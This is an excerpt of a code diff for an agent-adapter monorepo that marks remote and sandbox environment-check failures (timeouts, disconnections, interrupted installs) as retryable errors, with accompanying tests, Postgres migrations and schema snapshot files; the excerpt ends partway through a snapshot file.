resolveAdapterExecutionTargetCwd, runAdapterExecutionTargetProcess, runAdapterExecutionTargetShellCommand, @@ -32,6 +35,58 @@ function sshExecutionTarget(): AdapterSshExecutionTarget { }; } +describe("execution target validation failures", () => { + afterEach(() => vi.restoreAllMocks()); + const result = { exitCode: 0, signal: null, timedOut: false, stdout: "", stderr: "", pid: null, startedAt: "" }; + + it.each(["directory", "command"] as const)("preserves temporary %s probe failures", async check => { + for (const failure of ["timeout", "transport", "interrupted"] as const) { + const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: { + execute: vi.fn(async () => { + if (failure === "transport") throw Object.assign(new Error("private transport detail"), { code: "ECONNRESET" }); + return { ...result, exitCode: null, timedOut: failure === "timeout", signal: failure === "interrupted" ? "SIGTERM" : null }; + }), + } }; + const work = check === "directory" + ? ensureAdapterExecutionTargetDirectory("test", target, "/workspace", { cwd: "/workspace", env: {} }) + : ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {}); + const error = await work.catch(error => error); + expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true); + } + }); + + it("preserves SSH disconnections instead of reporting a missing directory", async () => { + vi.spyOn(ssh, "runSshCommand").mockRejectedValue(Object.assign(new Error("private SSH detail"), { code: 255 })); + const error = await ensureAdapterExecutionTargetDirectory("test", sshExecutionTarget(), "/workspace", { + cwd: "/workspace", env: {}, + }).catch(error => error); + expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true); + }); + + it.each(["directory", "command"] as const)("retains a confirmed missing %s as a configuration failure", async check => { + const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: { + execute: vi.fn(async () => ({ ...result, exitCode: 1 })), + } }; + const error = await (check === "directory" + ? ensureAdapterExecutionTargetDirectory("test", target, "/workspace", { cwd: "/workspace", env: {} }) + : ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {})).catch(error => error); + expect(error).toBeInstanceOf(Error); + expect(isAdapterExecutionTargetUnavailableError(error)).toBe(false); + }); + + it("does not turn an installation timeout into a permanent missing command", async () => { + const execute = vi.fn().mockResolvedValueOnce({ ...result, exitCode: 1 }) + .mockResolvedValueOnce({ ...result, exitCode: null, timedOut: true }) + .mockResolvedValueOnce({ ...result, exitCode: 1 }); + const target = { kind: "remote" as const, transport: "sandbox" as const, remoteCwd: "/workspace", runner: { execute } }; + const error = await ensureAdapterExecutionTargetCommandResolvable("opencode", target, "/workspace", {}, { + installCommand: "install-fixture", + }).catch(error => error); + expect(execute).toHaveBeenCalledTimes(3); + expect(isAdapterExecutionTargetUnavailableError(error)).toBe(true); + }); +}); + describe("runAdapterExecutionTargetShellCommand", () => { afterEach(() => { vi.restoreAllMocks(); diff --git a/packages/adapter-utils/src/execution-target.ts b/packages/adapter-utils/src/execution-target.ts index da99bc82917..d94db9f0585 100644 --- a/packages/adapter-utils/src/execution-target.ts +++ b/packages/adapter-utils/src/execution-target.ts @@ -735,23 +735,53 @@ export async function ensureAdapterExecutionTargetCommandResolvable( }); } +function executionTargetCheckUnavailable(message: string, cause?: unknown): Error { + return Object.assign(new Error(message, { cause }), { code: "adapter_execution_target_unavailable" }); +} + +/** Preserve target failures before an adapter translates them into a failed check. */ +export function isAdapterExecutionTargetUnavailableError(error: unknown): boolean { + return typeof error === "object" && error !== null && "code" in error + && error.code === "adapter_execution_target_unavailable"; +} + +async function runRemoteExecutionTargetCheck( + target: AdapterExecutionTarget, + description: string, + check: () => Promise, +): Promise { + let result: RunProcessResult; + try { + result = await check(); + } catch (error) { + throw executionTargetCheckUnavailable(`Could not complete ${description}`, error); + } + if (result.timedOut || result.signal || result.exitCode === null + || (target.kind === "remote" && target.transport === "ssh" && result.exitCode === 255)) { + throw executionTargetCheckUnavailable(`${result.timedOut ? "Timed out" : "Could not complete"} ${description}`); + } + return result; +} + async function probeSandboxCommandResolvable( command: string, target: AdapterSandboxExecutionTarget, env: Record, -): Promise<{ resolved: boolean; timedOut: boolean; stderr: string }> { +): Promise<{ resolved: boolean; stderr: string }> { const runner = requireSandboxRunner(target); const probeScript = `command -v ${shellQuote(command)}`; - const result = await runner.execute({ - command: "sh", - args: ["-c", probeScript], - cwd: target.remoteCwd, - env, - timeoutMs: target.timeoutMs ?? 15_000, - }); + const result = await runRemoteExecutionTargetCheck( + target, `checking command "${command}" on sandbox target.`, + () => runner.execute({ + command: "sh", + args: ["-c", probeScript], + cwd: target.remoteCwd, + env, + timeoutMs: target.timeoutMs ?? 15_000, + }), + ); return { - resolved: !result.timedOut && (result.exitCode ?? 1) === 0, - timedOut: result.timedOut, + resolved: result.exitCode === 0, stderr: result.stderr.trim(), }; } @@ -772,15 +802,13 @@ async function ensureSandboxCommandResolvable( // SSH's buildSshSpawnTarget) so this and the hello probe agree on PATH. let probe = await probeSandboxCommandResolvable(command, target, env); if (probe.resolved) return; - if (probe.timedOut) { - throw new Error(`Timed out checking command "${command}" on sandbox target.`); - } // If the caller supplied an install command, attempt the install once via // the sandbox runner (which the sandbox provider wraps in a login shell) // and re-probe before reporting failure. This lets fresh sandbox leases // bring up the CLI before the resolvability gate, mirroring the test path. let installFailureDetail: string | null = null; + let installUnavailable: Error | null = null; if (installCommand) { const runner = requireSandboxRunner(target); const installTimeoutMs = @@ -797,6 +825,9 @@ async function ensureSandboxCommandResolvable( }); if (installResult.timedOut) { installFailureDetail = `install command timed out: ${installCommand}`; + installUnavailable = executionTargetCheckUnavailable("The runtime installation timed out."); + } else if (installResult.signal || installResult.exitCode === null) { + installUnavailable = executionTargetCheckUnavailable("The runtime installation did not complete."); } else if ((installResult.exitCode ?? 0) !== 0) { const tail = (text: string) => text.split(/\r?\n/).filter((line) => line.trim().length > 0).slice(-2).join(" | ").slice(0, 240); @@ -805,12 +836,11 @@ async function ensureSandboxCommandResolvable( } } catch (err) { installFailureDetail = `install command threw: ${err instanceof Error ? err.message : String(err)}`; + installUnavailable = executionTargetCheckUnavailable("The runtime installation was unavailable.", err); } probe = await probeSandboxCommandResolvable(command, target, env); if (probe.resolved) return; - if (probe.timedOut) { - throw new Error(`Timed out checking command "${command}" on sandbox target.`); - } + if (installUnavailable) throw installUnavailable; } const probeStderr = probe.stderr.length > 0 ? ` probe stderr: ${probe.stderr}` : ""; @@ -1270,7 +1300,8 @@ export async function ensureAdapterExecutionTargetFile( * `mkdir -p` (when allowed) followed by a `[ -d ]` check so the result reflects * the directory state inside the environment, not on the Paperclip host. * - * Throws an Error with a human-readable message on failure. + * Throws an Error with a human-readable message on failure. Temporary target + * failures carry a typed code so adapters can retain them as retryable checks. */ export async function ensureAdapterExecutionTargetDirectory( runId: string, @@ -1296,17 +1327,16 @@ export async function ensureAdapterExecutionTargetDirectory( ? `mkdir -p ${quoted} && [ -d ${quoted} ]` : `[ -d ${quoted} ]`; - const result = await runAdapterExecutionTargetShellCommand(runId, target, script, { - cwd: target.kind === "remote" ? target.remoteCwd : cwd, - env: options.env, - timeoutSec: options.timeoutSec ?? 15, - graceSec: options.graceSec ?? 5, - onLog: options.onLog, - }); - - if (result.timedOut) { - throw new Error(`Timed out checking working directory on remote target: "${cwd}"`); - } + const result = await runRemoteExecutionTargetCheck( + target, `checking working directory on remote target: "${cwd}"`, + () => runAdapterExecutionTargetShellCommand(runId, target, script, { + cwd: target.remoteCwd, + env: options.env, + timeoutSec: options.timeoutSec ?? 15, + graceSec: options.graceSec ?? 5, + onLog: options.onLog, + }), + ); if ((result.exitCode ?? 1) !== 0) { const detail = (result.stderr || result.stdout || "").trim(); if (createIfMissing) { diff --git a/packages/adapter-utils/src/types.ts b/packages/adapter-utils/src/types.ts index 37e6fc45a08..5d3557da6e3 100644 --- a/packages/adapter-utils/src/types.ts +++ b/packages/adapter-utils/src/types.ts @@ -308,6 +308,8 @@ export interface AdapterEnvironmentCheck { message: string; detail?: string | null; hint?: string | null; + /** The check could not complete because its execution target was unavailable. */ + retryable?: boolean; } export type AdapterEnvironmentTestStatus = "pass" | "warn" | "fail"; diff --git a/packages/adapters/claude-local/src/server/test.ts b/packages/adapters/claude-local/src/server/test.ts index 40859fa6455..0002cd96060 100644 --- a/packages/adapters/claude-local/src/server/test.ts +++ b/packages/adapters/claude-local/src/server/test.ts @@ -14,6 +14,7 @@ import { import { ensureAdapterExecutionTargetCommandResolvable, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, runAdapterExecutionTargetProcess, resolveAdapterExecutionTargetCwd, resolveAdapterExecutionTargetCommandForLogs, @@ -114,6 +115,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "claude_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -168,6 +170,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "claude_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/codex-local/src/server/test.ts b/packages/adapters/codex-local/src/server/test.ts index da22fbd0b13..e4a87070424 100644 --- a/packages/adapters/codex-local/src/server/test.ts +++ b/packages/adapters/codex-local/src/server/test.ts @@ -11,6 +11,7 @@ import { import { ensureAdapterExecutionTargetCommandResolvable, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, maybeRunSandboxInstallCommand, runAdapterExecutionTargetProcess, describeAdapterExecutionTarget, @@ -308,6 +309,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "codex_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -339,6 +341,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "codex_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/cursor-local/src/server/test.ts b/packages/adapters/cursor-local/src/server/test.ts index 762177e7d1e..acf138dd659 100644 --- a/packages/adapters/cursor-local/src/server/test.ts +++ b/packages/adapters/cursor-local/src/server/test.ts @@ -13,6 +13,7 @@ import { import { ensureAdapterExecutionTargetCommandResolvable, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, maybeRunSandboxInstallCommand, runAdapterExecutionTargetProcess, describeAdapterExecutionTarget, @@ -119,6 +120,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "cursor_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -173,6 +175,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "cursor_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/gemini-local/src/server/test.ts b/packages/adapters/gemini-local/src/server/test.ts index 43572d76840..3e46c55da1b 100644 --- a/packages/adapters/gemini-local/src/server/test.ts +++ b/packages/adapters/gemini-local/src/server/test.ts @@ -16,6 +16,7 @@ import { ensureAdapterExecutionTargetCommandResolvable, maybeRunSandboxInstallCommand, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, runAdapterExecutionTargetProcess, describeAdapterExecutionTarget, resolveAdapterExecutionTargetCwd, @@ -107,6 +108,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "gemini_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -141,6 +143,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "gemini_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/grok-local/src/server/test.ts b/packages/adapters/grok-local/src/server/test.ts index 22f163f662b..4df40080bba 100644 --- a/packages/adapters/grok-local/src/server/test.ts +++ b/packages/adapters/grok-local/src/server/test.ts @@ -15,6 +15,7 @@ import { prepareAdapterExecutionTargetRuntime, ensureAdapterExecutionTargetCommandResolvable, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, resolveAdapterExecutionTargetCwd, runAdapterExecutionTargetProcess, } from "@paperclipai/adapter-utils/execution-target"; @@ -144,6 +145,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "grok_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -204,6 +206,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "grok_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/kimi-local/src/server/test.ts b/packages/adapters/kimi-local/src/server/test.ts index 5900f9d7546..5f660e4a6ad 100644 --- a/packages/adapters/kimi-local/src/server/test.ts +++ b/packages/adapters/kimi-local/src/server/test.ts @@ -17,6 +17,7 @@ import { ensureAdapterExecutionTargetCommandResolvable, maybeRunSandboxInstallCommand, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, runAdapterExecutionTargetProcess, describeAdapterExecutionTarget, resolveAdapterExecutionTargetCwd, @@ -156,6 +157,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "kimi_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -187,6 +189,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "kimi_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/opencode-local/src/server/test.ts b/packages/adapters/opencode-local/src/server/test.ts index fa0823cdc61..7b33a957827 100644 --- a/packages/adapters/opencode-local/src/server/test.ts +++ b/packages/adapters/opencode-local/src/server/test.ts @@ -19,6 +19,7 @@ import { ensureAdapterExecutionTargetCommandResolvable, maybeRunSandboxInstallCommand, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, runAdapterExecutionTargetProcess, describeAdapterExecutionTarget, resolveAdapterExecutionTargetCwd, @@ -102,6 +103,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "opencode_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -219,6 +221,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "opencode_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/adapters/pi-local/src/server/test.ts b/packages/adapters/pi-local/src/server/test.ts index 370a8c3d51d..fd965241e7e 100644 --- a/packages/adapters/pi-local/src/server/test.ts +++ b/packages/adapters/pi-local/src/server/test.ts @@ -16,6 +16,7 @@ import { ensureAdapterExecutionTargetCommandResolvable, maybeRunSandboxInstallCommand, ensureAdapterExecutionTargetDirectory, + isAdapterExecutionTargetUnavailableError, runAdapterExecutionTargetProcess, describeAdapterExecutionTarget, resolveAdapterExecutionTargetCwd, @@ -115,6 +116,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "pi_cwd_invalid", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Invalid working directory", detail: cwd, @@ -156,6 +158,7 @@ export async function testEnvironment( } catch (err) { checks.push({ code: "pi_command_unresolvable", + ...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}), level: "error", message: err instanceof Error ? err.message : "Command is not executable", detail: command, diff --git a/packages/db/src/migrations/0417_chunky_red_hulk.sql b/packages/db/src/migrations/0417_chunky_red_hulk.sql new file mode 100644 index 00000000000..68167c426a9 --- /dev/null +++ b/packages/db/src/migrations/0417_chunky_red_hulk.sql @@ -0,0 +1,19 @@ +CREATE TABLE IF NOT EXISTS "company_skill_mutation_receipts" ( + "company_id" uuid NOT NULL, + "key" text NOT NULL, + "fingerprint" text NOT NULL, + "skill_id" uuid NOT NULL, + "version_id" uuid NOT NULL, + "response" jsonb NOT NULL, + "created_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint +DO $$ BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_constraint + WHERE conname = 'company_skill_mutation_receipts_company_id_companies_id_fk' + AND conrelid = 'company_skill_mutation_receipts'::regclass) THEN + ALTER TABLE "company_skill_mutation_receipts" ADD CONSTRAINT "company_skill_mutation_receipts_company_id_companies_id_fk" FOREIGN KEY ("company_id") REFERENCES "public"."companies"("id") ON DELETE cascade ON UPDATE no action; + END IF; +END $$; +--> statement-breakpoint +CREATE UNIQUE INDEX IF NOT EXISTS "company_skill_mutation_receipts_key_idx" ON "company_skill_mutation_receipts" USING btree ("company_id","key"); diff --git a/packages/db/src/migrations/0418_curved_lady_mastermind.sql b/packages/db/src/migrations/0418_curved_lady_mastermind.sql new file mode 100644 index 00000000000..c0d7fe0d515 --- /dev/null +++ b/packages/db/src/migrations/0418_curved_lady_mastermind.sql @@ -0,0 +1,33 @@ +CREATE TABLE IF NOT EXISTS "sandbox_creation_operations" ( + "id" uuid PRIMARY KEY NOT NULL, + "company_id" uuid NOT NULL, + "environment_id" uuid, + "original_environment_id" uuid NOT NULL, + "run_id" uuid NOT NULL, + "request_key" text DEFAULT 'run' NOT NULL, + "issue_id" uuid, + "execution_workspace_id" uuid, + "provider" text NOT NULL, + "plugin_id" uuid, + "driver_key" text NOT NULL, + "state" text DEFAULT 'pending' NOT NULL, + "config" jsonb NOT NULL, + "metadata" jsonb NOT NULL, + "lease_id" uuid, + "next_attempt_at" timestamp with time zone NOT NULL, + "created_at" timestamp with time zone DEFAULT now() NOT NULL, + "updated_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint +DO $$ BEGIN + IF NOT EXISTS ( + SELECT 1 FROM pg_constraint + WHERE conname = 'sandbox_creation_operations_environment_id_environments_id_fk' + AND conrelid = 'sandbox_creation_operations'::regclass + ) THEN + ALTER TABLE "sandbox_creation_operations" ADD CONSTRAINT "sandbox_creation_operations_environment_id_environments_id_fk" FOREIGN KEY ("environment_id") REFERENCES "public"."environments"("id") ON DELETE set null ON UPDATE no action; + END IF; +END $$; +--> statement-breakpoint +CREATE INDEX IF NOT EXISTS "sandbox_creation_operations_pending_deadline_idx" ON "sandbox_creation_operations" USING btree ("next_attempt_at") WHERE "sandbox_creation_operations"."state" = 'pending';--> statement-breakpoint +CREATE UNIQUE INDEX IF NOT EXISTS "sandbox_creation_operations_owner_idx" ON "sandbox_creation_operations" USING btree ("company_id","original_environment_id","run_id","request_key"); \ No newline at end of file diff --git a/packages/db/src/migrations/meta/0413_snapshot.json b/packages/db/src/migrations/meta/0417_snapshot.json similarity index 99% rename from packages/db/src/migrations/meta/0413_snapshot.json rename to packages/db/src/migrations/meta/0417_snapshot.json index c27c8a4f7b2..a81b201cc91 100644 --- a/packages/db/src/migrations/meta/0413_snapshot.json +++ b/packages/db/src/migrations/meta/0417_snapshot.json @@ -1,6 +1,6 @@ { - "id": "5690a14a-f9cc-41a6-af51-c27f688f4ef6", - "prevId": "3b8bb508-028d-4154-abdd-af870f1f3ca6", + "id": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae", + "prevId": "bbaeecd8-ff3f-4e70-a069-291bf3dc97bb", "version": "7", "dialect": "postgresql", "tables": { @@ -1351,6 +1351,39 @@ "method": "btree", "with": {} }, + "activity_log_company_entity_created_idx": { + "name": "activity_log_company_entity_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, "activity_log_company_user_issue_actor_idx": { "name": "activity_log_company_user_issue_actor_idx", "columns": [ @@ -19019,6 +19052,98 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.company_skill_mutation_receipts": { + "name": "company_skill_mutation_receipts", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fingerprint": { + "name": "fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "skill_id": { + "name": "skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "version_id": { + "name": "version_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "response": { + "name": "response", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_mutation_receipts_key_idx": { + "name": "company_skill_mutation_receipts_key_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "company_skill_mutation_receipts_company_id_companies_id_fk": { + "name": "company_skill_mutation_receipts_company_id_companies_id_fk", + "tableFrom": "company_skill_mutation_receipts", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.company_skill_repository_snapshots": { "name": "company_skill_repository_snapshots", "schema": "", @@ -19046,7 +19171,46 @@ "name": "file_inventory", "type": "jsonb", "primaryKey": false, - "notNull": true + "notNull": true, + "default": "'[]'::jsonb" + }, + "storage": { + "name": "storage", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "upload": { + "name": "upload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "restore": { + "name": "restore", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "migration_at": { + "name": "migration_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "maintenance_at": { + "name": "maintenance_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "restore_retry_at": { + "name": "restore_retry_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false }, "created_at": { "name": "created_at", @@ -19077,6 +19241,38 @@ "concurrently": false, "method": "btree", "with": {} + }, + "company_skill_snapshots_migration_idx": { + "name": "company_skill_snapshots_migration_idx", + "columns": [ + { + "expression": "migration_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_snapshots_maintenance_idx": { + "name": "company_skill_snapshots_maintenance_idx", + "columns": [ + { + "expression": "maintenance_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} } }, "foreignKeys": { @@ -19966,6 +20162,25 @@ "primaryKey": false, "notNull": false }, + "package_snapshot_id": { + "name": "package_snapshot_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "package_file_map": { + "name": "package_file_map", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "migration_at": { + "name": "migration_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, "revision_number": { "name": "revision_number", "type": "integer", @@ -20024,6 +20239,52 @@ } }, "indexes": { + "company_skill_versions_migration_idx": { + "name": "company_skill_versions_migration_idx", + "columns": [ + { + "expression": "migration_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_versions\".\"migration_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_versions_package_snapshot_idx": { + "name": "company_skill_versions_package_snapshot_idx", + "columns": [ + { + "expression": "package_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_versions_repository_snapshot_idx": { + "name": "company_skill_versions_repository_snapshot_idx", + "columns": [ + { + "expression": "repository_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, "company_skill_versions_skill_revision_idx": { "name": "company_skill_versions_skill_revision_idx", "columns": [ @@ -20135,6 +20396,19 @@ "onDelete": "restrict", "onUpdate": "no action" }, + "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": { + "name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk", + "tableFrom": "company_skill_versions", + "tableTo": "company_skill_repository_snapshots", + "columnsFrom": [ + "package_snapshot_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + }, "company_skill_versions_author_agent_id_agents_id_fk": { "name": "company_skill_versions_author_agent_id_agents_id_fk", "tableFrom": "company_skill_versions", @@ -20580,6 +20854,78 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.skill_package_deletions": { + "name": "skill_package_deletions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "archive_key": { + "name": "archive_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "manifest_key": { + "name": "manifest_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "delete_after": { + "name": "delete_after", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "skill_package_deletions_due_idx": { + "name": "skill_package_deletions_due_idx", + "columns": [ + { + "expression": "delete_after", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.company_transfer_runs": { "name": "company_transfer_runs", "schema": "", @@ -33816,7 +34162,7 @@ } ], "isUnique": false, - "where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE", + "where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE", "concurrently": false, "method": "btree", "with": {} diff --git a/packages/db/src/migrations/meta/0412_snapshot.json b/packages/db/src/migrations/meta/0418_snapshot.json similarity index 99% rename from packages/db/src/migrations/meta/0412_snapshot.json rename to packages/db/src/migrations/meta/0418_snapshot.json index 698666748b6..23ede87cb5d 100644 --- a/packages/db/src/migrations/meta/0412_snapshot.json +++ b/packages/db/src/migrations/meta/0418_snapshot.json @@ -1,6 +1,6 @@ { - "id": "3b8bb508-028d-4154-abdd-af870f1f3ca6", - "prevId": "ff56ee93-8cfc-465a-b26a-1c12d10773ff", + "id": "c777fa84-85a6-418f-bea1-0d60b56cf071", + "prevId": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae", "version": "7", "dialect": "postgresql", "tables": { @@ -1351,6 +1351,39 @@ "method": "btree", "with": {} }, + "activity_log_company_entity_created_idx": { + "name": "activity_log_company_entity_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + 